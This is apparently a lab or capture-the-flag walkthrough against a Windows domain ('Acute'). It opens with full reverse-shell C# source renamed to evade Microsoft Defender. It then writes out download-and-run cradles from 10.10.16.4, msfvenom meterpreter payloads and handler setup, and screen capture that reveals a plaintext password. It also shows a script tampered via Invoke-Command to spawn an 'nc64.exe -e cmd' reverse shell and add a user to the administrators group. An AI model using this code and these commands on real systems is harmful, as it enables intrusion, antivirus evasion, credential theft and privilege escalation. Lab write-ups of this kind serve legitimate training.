SetConsoleMode(IntPtr hConsoleHandle, uint mode); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool GetConsoleMode(IntPtr handle, out uint mode); [DllImport("kernel32.dll")] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool AllocConsole(); [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] private static extern bool FreeConsole(); [DllImport("user32.dll")] private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("kernel32.dll")] private static extern IntPtr GetConsoleWindow(); [DllImport("kernel32.dll", CharSet = CharSet.Auto)] private static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] private static extern IntPtr WSASocket([In] AddressFamily addressFamily, [In] SocketType socketType, [In] ProtocolType protocolType, [In] IntPtr protocolInfo, [In] uint group, [In] int flags); [DllImport("ws2_32.dll", SetLastError = true)] private static extern int connect(IntPtr s, ref SOCKADDR_IN addr, int addrsize); [DllImport("ws2_32.dll", SetLastError = true)] private static extern ushort htons(ushort hostshort); [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] private static extern uint inet_addr(string cp); [DllImport("ws2_32.dll", CharSet = CharSet.Auto)] private static extern Int32 WSAGetLastError(); [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData); [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern int closesocket(IntPtr s); [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern int recv(IntPtr Socket, byte[] buf, int len, uint flags); [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern int send(IntPtr Socket, byte[] buf, int len, uint flags); [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr WSACreateEvent(); [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] private static extern int WSAEventSelect(IntPtr s, IntPtr hEventObject, int lNetworkEvents); [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] private static extern int WSAWaitForMultipleEvents(int cEvents, IntPtr[] lphEvents, bool fWaitAll, int dwTimeout, bool fAlertable); [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] private static extern bool WSAResetEvent(IntPtr hEvent); [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] private static extern bool WSACloseEvent(IntPtr hEvent); [DllImport("ntdll.dll")] private static extern uint NtSuspendProcess(IntPtr processHandle); [DllImport("ntdll.dll")] private static extern uint NtResumeProcess(IntPtr processHandle); private static void InitWSAThread() { WSAData data; if (WSAStartup(2 << 8 | 2, out data) != 0) throw new collinhacksException(String.Format("WSAStartup failed with error code: {0}", WSAGetLastError())); } private static IntPtr connectRemote(string remoteIp, int remotePort) { int port = 0; int error = 0; string host = remoteIp; try { port = Convert.ToInt32(remotePort); } catch { throw new collinhacksException("Specified port is invalid: " + remotePort.ToString()); } IntPtr socket = IntPtr.Zero; socket = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP, IntPtr.Zero, 0, WSA_FLAG_OVERLAPPED); SOCKADDR_IN sockinfo = new SOCKADDR_IN(); sockinfo.sin_family = (short)2; sockinfo.sin_addr = inet_addr(host); sockinfo.sin_port = (short)htons((ushort)port); if (connect(socket, ref sockinfo, Marshal.SizeOf(sockinfo)) != 0) { error = WSAGetLastError(); throw new collinhacksException(String.Format("WSAConnect failed with error code: {0}", error)); } return socket; } private static void TryParseRowsColsFromSocket(IntPtr shellSocket, ref uint rows, ref uint cols) { Thread.Sleep(500);//little tweak for slower connections byte[] received = new byte[100]; int rowsTemp, colsTemp; int bytesReceived = recv(shellSocket, received, 100, 0); try { string sizeReceived = Encoding.ASCII.GetString(received, 0, bytesReceived); string rowsString = sizeReceived.Split(' ')[0].Trim(); string colsString = sizeReceived.Split(' ')[1].Trim(); if (Int32.TryParse(rowsString, out rowsTemp) && Int32.TryParse(colsString, out colsTemp)) { rows = (uint)rowsTemp; cols = (uint)colsTemp; } } catch { return; } } private static void CreatePipes(ref IntPtr InputPipeRead, ref IntPtr InputPipeWrite, ref IntPtr OutputPipeRead, ref IntPtr OutputPipeWrite) { SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); pSec.nLength = Marshal.SizeOf(pSec); pSec.bInheritHandle = 1; pSec.lpSecurityDescriptor = IntPtr.Zero; if (!CreatePipe(out InputPipeRead, out InputPipeWrite, ref pSec, BUFFER_SIZE_PIPE)) throw new collinhacksException("Could not create the InputPipe"); if (!CreatePipe(out OutputPipeRead, out OutputPipeWrite, ref pSec, BUFFER_SIZE_PIPE)) throw new collinhacksException("Could not create the OutputPipe"); } private static void InitConsole(ref IntPtr oldStdIn, ref IntPtr oldStdOut, ref IntPtr oldStdErr) { oldStdIn = GetStdHandle(STD_INPUT_HANDLE); oldStdOut = GetStdHandle(STD_OUTPUT_HANDLE); oldStdErr = GetStdHandle(STD_ERROR_HANDLE); IntPtr hStdout = CreateFile("CONOUT$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero); IntPtr hStdin = CreateFile("CONIN$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero); SetStdHandle(STD_OUTPUT_HANDLE, hStdout); SetStdHandle(STD_ERROR_HANDLE, hStdout); SetStdHandle(STD_INPUT_HANDLE, hStdin); } private static void RestoreStdHandles(IntPtr oldStdIn, IntPtr oldStdOut, IntPtr oldStdErr) { SetStdHandle(STD_OUTPUT_HANDLE, oldStdOut); SetStdHandle(STD_ERROR_HANDLE, oldStdErr); SetStdHandle(STD_INPUT_HANDLE, oldStdIn); } private static void EnableVirtualTerminalSequenceProcessing() { uint outConsoleMode = 0; IntPtr hStdOut = GetStdHandle(STD_OUTPUT_HANDLE); if (!GetConsoleMode(hStdOut, out outConsoleMode)) { throw new collinhacksException("Could not get console mode"); } outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN; if (!SetConsoleMode(hStdOut, outConsoleMode)) { throw new collinhacksException("Could not enable virtual terminal processing"); } } private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols) { int result = -1; EnableVirtualTerminalSequenceProcessing(); COORD consoleCoord = new COORD(); consoleCoord.X = (short)cols; consoleCoord.Y = (short)rows; result = CreatePseudoConsole(consoleCoord, ConPtyInputPipeRead, ConPtyOutputPipeWrite, 0, out handlePseudoConsole); return result; } private static STARTUPINFOEX ConfigureProcessThread(IntPtr handlePseudoConsole, IntPtr attributes) { IntPtr lpSize = IntPtr.Zero; bool success = InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); if (success || lpSize == IntPtr.Zero) { throw new collinhacksException("Could not calculate the number of bytes for the attribute list. " + Marshal.GetLastWin32Error()); } STARTUPINFOEX startupInfo = new STARTUPINFOEX(); startupInfo.StartupInfo.cb = Marshal.SizeOf(startupInfo); startupInfo.lpAttributeList = Marshal.AllocHGlobal(lpSize); success = InitializeProcThreadAttributeList(startupInfo.lpAttributeList, 1, 0, ref lpSize); if (!success) { throw new collinhacksException("Could not set up attribute list. " + Marshal.GetLastWin32Error()); } success = UpdateProcThreadAttribute(startupInfo.lpAttributeList, 0, attributes, handlePseudoConsole, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); if (!success) { throw new collinhacksException("Could not set pseudoconsole thread attribute. " + Marshal.GetLastWin32Error()); } return startupInfo; } private static PROCESS_INFORMATION RunProcess(ref STARTUPINFOEX sInfoEx, string commandLine) { PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); int securityAttributeSize = Marshal.SizeOf(pSec); pSec.nLength = securityAttributeSize; SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); tSec.nLength = securityAttributeSize; bool success = CreateProcessEx(null, commandLine, ref pSec, ref tSec, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref sInfoEx, out pInfo); if (!success) { throw new collinhacksException("Could not create process. " + Marshal.GetLastWin32Error()); } return pInfo; } private static PROCESS_INFORMATION CreateChildProcessWithPseudoConsole(IntPtr handlePseudoConsole, string commandLine) { STARTUPINFOEX startupInfo = ConfigureProcessThread(handlePseudoConsole, (IntPtr)PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE); PROCESS_INFORMATION processInfo = RunProcess(ref startupInfo, commandLine); return processInfo; } private static void ThreadReadPipeWriteSocketOverlapped(object threadParams) { object[] threadParameters = (object[])threadParams; IntPtr OutputPipeRead = (IntPtr)threadParameters[0]; IntPtr shellSocket = (IntPtr)threadParameters[1]; int bufferSize = 8192; bool readSuccess = false; Int32 bytesSent = 0; uint dwBytesRead = 0; do { byte[] bytesToWrite = new byte[bufferSize]; readSuccess = ReadFile(OutputPipeRead, bytesToWrite, (uint)bufferSize, out dwBytesRead, IntPtr.Zero); bytesSent = send(shellSocket, bytesToWrite, (int)dwBytesRead, 0); } while (bytesSent > 0 && readSuccess); // Console.WriteLine("debug: bytesSent = " + bytesSent + " WSAGetLastError() = " + WSAGetLastError().ToString()); } private static void ThreadReadPipeWriteSocketNonOverlapped(object threadParams) { object[] threadParameters = (object[])threadParams; IntPtr OutputPipeRead = (IntPtr)threadParameters[0]; IntPtr shellSocket = (IntPtr)threadParameters[1]; int bufferSize = 8192; bool readSuccess = false; Int32 bytesSent = 0; uint dwBytesRead = 0; do { byte[] bytesToWrite = new byte[bufferSize]; readSuccess = ReadFile(OutputPipeRead, bytesToWrite, (uint)bufferSize, out dwBytesRead, IntPtr.Zero); // Console.WriteLine("debug ThreadReadPipeWriteSocket ReadFile: dwBytesRead = " + dwBytesRead + " Marshal.GetLastWin32Error() " + Marshal.GetLastWin32Error()); do { bytesSent = send(shellSocket, bytesToWrite, (int)dwBytesRead, 0); // Console.WriteLine("debug ThreadReadPipeWriteSocket send: bytesSent = " + bytesSent + " WSAGetLastError() = " + WSAGetLastError().ToString()); } while (WSAGetLastError() == WSAEWOULDBLOCK); } while (bytesSent > 0 && readSuccess); } private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, IntPtr shellSocket, bool overlappedSocket) { object[] threadParameters = new object[2]; threadParameters[0] = OutputPipeRead; threadParameters[1] = shellSocket; Thread thThreadReadPipeWriteSocket; if(overlappedSocket) thThreadReadPipeWriteSocket = new Thread(ThreadReadPipeWriteSocketOverlapped); else thThreadReadPipeWriteSocket = new Thread(ThreadReadPipeWriteSocketNonOverlapped); thThreadReadPipeWriteSocket.Start(threadParameters); return thThreadReadPipeWriteSocket; } private static void ThreadReadSocketWritePipeOverlapped(object threadParams) { object[] threadParameters = (object[])threadParams; IntPtr InputPipeWrite = (IntPtr)threadParameters[0]; IntPtr shellSocket = (IntPtr)threadParameters[1]; IntPtr hChildProcess = (IntPtr)threadParameters[2]; int bufferSize = 8192; bool writeSuccess = false; Int32 nBytesReceived = 0; uint bytesWritten = 0; do { byte[] bytesReceived = new byte[bufferSize]; nBytesReceived = recv(shellSocket, bytesReceived, bufferSize, 0); writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero); } while (nBytesReceived > 0 && writeSuccess); // Console.WriteLine("debug: nBytesReceived = " + nBytesReceived + " WSAGetLastError() = " + WSAGetLastError().ToString()); TerminateProcess(hChildProcess, 0); } private static void ThreadReadSocketWritePipeNonOverlapped(object threadParams) { object[] threadParameters = (object[])threadParams; IntPtr InputPipeWrite = (IntPtr)threadParameters[0]; IntPtr shellSocket = (IntPtr)threadParameters[1]; IntPtr hChildProcess = (IntPtr)threadParameters[2]; int bufferSize = 8192; bool writeSuccess = false; Int32 nBytesReceived = 0; uint bytesWritten = 0; bool socketBlockingOperation = false; IntPtr wsaReadEvent = WSACreateEvent(); // we expect the socket to be non-blocking at this point. we create an asynch event to be signaled when the recv operation is ready to get some data WSAEventSelect(shellSocket, wsaReadEvent, FD_READ); IntPtr[] wsaEventsArray = new IntPtr[] { wsaReadEvent }; do { byte[] bytesReceived = new byte[bufferSize]; WSAWaitForMultipleEvents(wsaEventsArray.Length, wsaEventsArray, true, 500, false); nBytesReceived = recv(shellSocket, bytesReceived, bufferSize, 0); // we still check WSAEWOULDBLOCK for a more robust implementation if (WSAGetLastError() == WSAEWOULDBLOCK) { socketBlockingOperation = true; continue; } WSAResetEvent(wsaReadEvent); socketBlockingOperation = false; // Console.WriteLine("debug: ThreadReadSocketWritePipe recv: nBytesReceived = " + nBytesReceived + " WSAGetLastError() = " + WSAGetLastError().ToString()); writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero); // Console.WriteLine("debug ThreadReadSocketWritePipe WriteFile: bytesWritten = " + bytesWritten + " Marshal.GetLastWin32Error() = " + Marshal.GetLastWin32Error()); } while (socketBlockingOperation || (nBytesReceived > 0 && writeSuccess)); WSACloseEvent(wsaReadEvent); TerminateProcess(hChildProcess, 0); } private static Thread StartThreadReadSocketWritePipe(IntPtr InputPipeWrite, IntPtr shellSocket, IntPtr hChildProcess, bool overlappedSocket) { object[] threadParameters = new object[3]; threadParameters[0] = InputPipeWrite; threadParameters[1] = shellSocket; threadParameters[2] = hChildProcess; Thread thReadSocketWritePipe; if(overlappedSocket) thReadSocketWritePipe = new Thread(ThreadReadSocketWritePipeOverlapped); else thReadSocketWritePipe = new Thread(ThreadReadSocketWritePipeNonOverlapped); thReadSocketWritePipe.Start(threadParameters); return thReadSocketWritePipe; } public static string Spawncollinhacks(string remoteIp, int remotePort, uint rows, uint cols, string commandLine, bool upgradeShell) { IntPtr shellSocket = IntPtr.Zero; IntPtr InputPipeRead = IntPtr.Zero; IntPtr InputPipeWrite = IntPtr.Zero; IntPtr OutputPipeRead = IntPtr.Zero; IntPtr OutputPipeWrite = IntPtr.Zero; IntPtr handlePseudoConsole = IntPtr.Zero; IntPtr oldStdIn = IntPtr.Zero; IntPtr oldStdOut = IntPtr.Zero; IntPtr oldStdErr = IntPtr.Zero; bool newConsoleAllocated = false; bool parentSocketInherited = false; bool grandParentSocketInherited = false; bool conptyCompatible = false; bool IsSocketOverlapped = true; string output = ""; Process currentProcess = null; Process parentProcess = null; Process grandParentProcess = null; if (GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") != IntPtr.Zero) conptyCompatible = true; PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION(); CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite); // comment the below function to debug errors InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr); // init wsastartup stuff for this thread InitWSAThread(); if (conptyCompatible) { Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell\r\n"); if (upgradeShell) { List<IntPtr> socketsHandles = new List<IntPtr>(); currentProcess = Process.GetCurrentProcess(); parentProcess = ParentProcessUtilities.GetParentProcess(currentProcess.Handle); if (parentProcess != null) grandParentProcess = ParentProcessUtilities.GetParentProcess(parentProcess.Handle); // try to duplicate the socket for the current process shellSocket = SocketHijacking.DuplicateTargetProcessSocket(currentProcess, ref IsSocketOverlapped); if (shellSocket == IntPtr.Zero && parentProcess != null) { // if no sockets are found in the current process we try to hijack our current parent process socket shellSocket = SocketHijacking.DuplicateTargetProcessSocket(parentProcess, ref IsSocketOverlapped); if (shellSocket == IntPtr.Zero && grandParentProcess != null) { // damn, even the parent process has no usable sockets, let's try a last desperate attempt in the grandparent process shellSocket = SocketHijacking.DuplicateTargetProcessSocket(grandParentProcess, ref IsSocketOverlapped); if (shellSocket == IntPtr.Zero) { throw new collinhacksException("No \\Device\\Afd objects found. Socket duplication failed."); } else { grandParentSocketInherited = true; } } else { // gotcha a usable socket from the parent process, let's see if the grandParent also use the socket parentSocketInherited = true; if (grandParentProcess != null) grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess); } } else { // the current process got a usable socket, let's see if the parents use the socket if (parentProcess != null) parentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, parentProcess); if (grandParentProcess != null) grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess); } } else { shellSocket = connectRemote(remoteIp, remotePort); if (shellSocket == IntPtr.Zero) { output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); return output; } TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols); } if (GetConsoleWindow() == IntPtr.Zero) { AllocConsole(); ShowWindow(GetConsoleWindow(), SW_HIDE); newConsoleAllocated = true; } // debug code for checking handle duplication // Console.WriteLine("debug: Creating pseudo console..."); // Thread.Sleep(180000); // return ""; int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols); if (pseudoConsoleCreationResult != 0) { output += string.Format("{0}Could not create psuedo console. Error Code {1}", errorString, pseudoConsoleCreationResult.ToString()); return output; } childProcessInfo = CreateChildProcessWithPseudoConsole(handlePseudoConsole, commandLine); } else { if (upgradeShell) { output += string.Format("Could not upgrade shell to fully interactive because ConPTY is not compatible on this system"); return output; } shellSocket = connectRemote(remoteIp, remotePort); if (shellSocket == IntPtr.Zero) { output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); return output; } Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n"); STARTUPINFO sInfo = new STARTUPINFO(); sInfo.cb = Marshal.SizeOf(sInfo); sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES; sInfo.hStdInput = InputPipeRead; sInfo.hStdOutput = OutputPipeWrite; sInfo.hStdError = OutputPipeWrite; CreateProcess(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo); } // Note: We can close the handles to the PTY-end of the pipes here // because the handles are dup'ed into the ConHost and will be released // when the ConPTY is destroyed. if (InputPipeRead != IntPtr.Zero) CloseHandle(InputPipeRead); if (OutputPipeWrite != IntPtr.Zero) CloseHandle(OutputPipeWrite); if (upgradeShell) { // we need to suspend other processes that can interact with the duplicated sockets if any. This will ensure stdin, stdout and stderr is read/write only by our conpty process if (parentSocketInherited) NtSuspendProcess(parentProcess.Handle); if (grandParentSocketInherited) NtSuspendProcess(grandParentProcess.Handle); if (!IsSocketOverlapped) SocketHijacking.SetSocketBlockingMode(shellSocket, 1); } //Threads have better performance than Tasks Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket(OutputPipeRead, shellSocket, IsSocketOverlapped); Thread thReadSocketWritePipe = StartThreadReadSocketWritePipe(InputPipeWrite, shellSocket, childProcessInfo.hProcess, IsSocketOverlapped); // wait for the child process until exit WaitForSingleObject(childProcessInfo.hProcess, INFINITE); //cleanup everything thThreadReadPipeWriteSocket.Abort(); thReadSocketWritePipe.Abort(); if (upgradeShell) { if (!IsSocketOverlapped) { // cancelling the event selection for the socket WSAEventSelect(shellSocket, IntPtr.Zero, 0); SocketHijacking.SetSocketBlockingMode(shellSocket, 0); } if (parentSocketInherited) NtResumeProcess(parentProcess.Handle); if (grandParentSocketInherited) NtResumeProcess(grandParentProcess.Handle); } closesocket(shellSocket); RestoreStdHandles(oldStdIn, oldStdOut, oldStdErr); if (newConsoleAllocated) FreeConsole(); CloseHandle(childProcessInfo.hThread); CloseHandle(childProcessInfo.hProcess); if (handlePseudoConsole != IntPtr.Zero) ClosePseudoConsole(handlePseudoConsole); if (InputPipeWrite != IntPtr.Zero) CloseHandle(InputPipeWrite); if (OutputPipeRead != IntPtr.Zero) CloseHandle(OutputPipeRead); output += "collinhacks kindly exited.\r\n"; return output; } } public static class collinhacksMainClass { private static string help = @""; private static bool HelpRequired(string param) { return param == "-h" || param == "--help" || param == "/?"; } private static void CheckArgs(string[] arguments) { if (arguments.Length < 2) throw new collinhacksException("\r\ncollinhacks: Not enough arguments. 2 Arguments required. Use --help for additional help.\r\n"); } private static void DisplayHelp() { Console.Out.Write(help); } private static string CheckRemoteIpArg(string ipString) { IPAddress address; if (!IPAddress.TryParse(ipString, out address)) throw new collinhacksException("\r\ncollinhacks: Invalid remoteIp value" + ipString); return ipString; } private static int CheckInt(string arg) { int ret = 0; if (!Int32.TryParse(arg, out ret)) throw new collinhacksException("\r\ncollinhacks: Invalid integer value " + arg); return ret; } private static uint ParseRows(string[] arguments) { uint rows = 24; if (arguments.Length > 2) rows = (uint)CheckInt(arguments[2]); return rows; } private static uint ParseCols(string[] arguments) { uint cols = 80; if (arguments.Length > 3) cols = (uint)CheckInt(arguments[3]); return cols; } private static string ParseCommandLine(string[] arguments) { string commandLine = "powershell.exe"; if (arguments.Length > 4) commandLine = arguments[4]; return commandLine; } public static string collinhacksMain(string[] args) { string output = ""; if (args.Length == 1 && HelpRequired(args[0])) { DisplayHelp(); } else { string remoteIp = ""; int remotePort = 0; bool upgradeShell = false; try { CheckArgs(args); if (args[0].Contains("upgrade")) upgradeShell = true; else { remoteIp = CheckRemoteIpArg(args[0]); remotePort = CheckInt(args[1]); } uint rows = ParseRows(args); uint cols = ParseCols(args); string commandLine = ParseCommandLine(args); output = collinhacks.Spawncollinhacks(remoteIp, remotePort, rows, cols, commandLine, upgradeShell); } catch (Exception e) { Console.WriteLine("\n" + e.ToString() + "\n"); } } return output; } } class MainClass { static void Main(string[] args) { Console.Out.Write(collinhacksMainClass.collinhacksMain(args)); } } "@;
Also replace
ConPtyShell
all over withcollinhacks
, do a search and replace innano
withAlt R
Following the repo:
- Local:
stty raw -echo; (stty size; cat) | nc -lvnp 9001
http
- Target:
IEX(New-Object Net.WebClient).downloadString("http://10.10.16.4/rev.ps1")
- let it run, might take a bit
collinhacks <tun0> 9001
- remember,
collinhacks
replacesInvoke-ConPtyShell
so we can evade microsoft defender
- remember,
- Local:
winpeas
https://github.com/carlospolop/PEASS-ng/releases/tag/20230827-2ed3749a
- Grab latest of
winpeas
cd C:\Utils
wget -o winpeas.exe http://<tun0>/winPEASany.exe
.\winpeas.exe
Point of interests
C:\Users\edavies\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\2.0.0.0\passwords.txt
More:
take session to metasploit
Local:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.4 LPORT=9002 -f exe -o metasploit.exe
http
Target:
wget -o metasploit.exe http://<tun0>/metasploit.exe
Local:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 9002
exploit -j
Target:
Make sure you are in
C:\Utils
.\metasploit.exe
- Local:
sessions -i 1
msedge.exe
pivot to - In my screenshots we can see the PID over
msedge.exe
is 4276. We canmigrate
to this within metasploit and then look at it better to exploit it.migrate 4276
screenshot
Ran
screenshot
a few times, cuz I did it again after the first one was a desktop, then it popped up a powershell.1
2
3
- In the 3rd
screenshot
, we actually seee credentials forimonks
:W3_4R3_th3_f0rce.
screenshare
will make an html file and actively just show us what is happening on the monitor- In these photos we see certain strings being executed, let’s do them locally.
passwd & cred so we can execute Invoke-Command
authenticate as imonks : W3_4R3_th3_f0rce. with - Run the commands
PS C:\Utils> $passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
PS C:\Utils> $cred = New-Object System.Management.Automation.PSCredential ("acute\imonks",$passwd)
PS C:\Utils> Enter-PSSession -ComputerName ATSERVER -Credential $cred
Enter-PSSession : Connecting to remote server ATSERVER failed with the following error message : WinRM cannot
process the request. The following error occurred while using Kerberos authentication: Cannot find the computer
ATSERVER. Verify that the computer exists on the network and that the name provided is spelled correctly. For more
information, see the about_Remote_Troubleshooting Help topic.
At line:1 char:1
+ Enter-PSSession -ComputerName ATSERVER -Credential $cred
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (ATSERVER:String) [Enter-PSSession], PSRemotingTransportException
+ FullyQualifiedErrorId : CreateRemoteRunspaceFailed
PS C:\Utils> Enter-PSSession -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Enter-PSSession : The term 'Measure-Object' is not recognized as the name of a cmdlet, function, script file, or
operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ Enter-PSSession -ComputerName ATSSERVER -ConfigurationName dc_manage ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (Measure-Object:String) [Enter-PSSession], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
- Now we need to fix the
Measure-Object
errorInvoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { Get-Command }
we are in the imonks user directory now
Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { pwd }
{ get-childitem - force . }
shows us directories{ get-childitem -force ../Desktop }
- Executed
wm.ps1
with{ C:\Users\imonks\Desktop\wm.ps1 }
{ cat C:\Users\imonks\Desktop\wm.ps1 }
{ net user jmorgan }
to identify it more
PS C:\Utils> Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { wh
oami }
acute\imonks
PS C:\Utils> Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { ne
t user jmorgan }
User name jmorgan
Full Name Joshua Morgan
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 21/12/2021 23:48:37
Password expires Never
Password changeable 22/12/2021 23:48:37
Password required Yes
User may change password No
Workstations allowed All
Logon script
User profile
Home directory
Last logon 29/08/2023 03:48:30
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Users
The command completed successfully.
net localgroup administrators
PS C:\Utils> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
ACUTE\Domain Admins
ACUTE\jmorgan
Administrator
The command completed successfully.
exploiting $cred function to give us a reverse shell (can also give edavies local admin)
- So in
$cred
we have a specific function in braces that we can fulfill with pretty much anything and it will exploit asjmorgan
. We can take this idea and make our own exploit out of it. Which is what we have been doing. Now we need to put a reverse shell script that takeswm.ps1
and exploits it but inside of the .
((cat C:\Users\imonks\Desktop\wm.ps1 -Raw) -replace 'Get-Volume', "IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4/rev.ps1')") | sc -path C:\Users\imonks\Desktop\wm.ps1
this is the raw commandInvoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { ((cat C:\Users\imonks\Desktop\wm.ps1 -Raw) -replace 'Get-Volume', "IEX(New-Object Net.WebClient).downloadString('http:[//10.10.16.4/rev.ps1](notion://10.10.16.4/rev.ps1)')") | sc -path C:\Users\imonks\Desktop\wm.ps1 }
raw command but inside of Invoke-Command
- Now if we
cat wm.ps1
we will see we changed the$cred
value.
- Got some weird errors need to remove the
IEX
calls with justdownload
anddownloadString
Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { ((cat C:\Users\imonks\Desktop\wm.ps1 -Raw) -replace "download", "downloadString('[http://10.10.16.4/rev.ps1](http://10.10.16.4/rev.ps1)')") | sc -path C:\Users\imonks\Desktop\wm.ps1 }
- Run it
Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { C:\Users\imonks\Desktop\wm.ps1 }
- error
nc64.exe
instead of rev.ps1
using wget -o nc64.exe [http://10.10.16.4/nc64.exe](http://10.10.16.4/nc64.exe)
Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { ((cat C:\Users\imonks\Desktop\wm.ps1 -Raw) -replace 'Get-Volume', "C:\utils\nc64.exe -e cmd 10.10.16.4 9002')") | sc -path C:\Users\imonks\Desktop\wm.ps1 }
- local
9002
listener
- local
Invoke-Command -ScriptBlock { C:\users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
net localgroup administrators
alternative: make edavies a Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -ScriptBlock {((Get-Content "c:\users\imonks\Desktop\wm.ps1" -Raw) -replace 'Get-Volume','net localgroup administrators edavies /add') | set-content -path c:\users\imonks\Desktop\wm.ps1} -credential $cred
- Executing a command as imonks to add edavies to the administrators group
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -ScriptBlock {Get-Content c:\users\imonks\Desktop\wm.ps1} -credential $cred
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock{C:\Users\imonks\Desktop\wm.ps1} -Credential $cred
- Execute
wm.ps1
- Execute
- Log out and log back in on https://atsserver.acute.local/Acute_Staff_Access/en-US/console.aspx
- Local:
stty raw -echo; (stty size; cat) | nc -lvnp 9001
http
- Target:
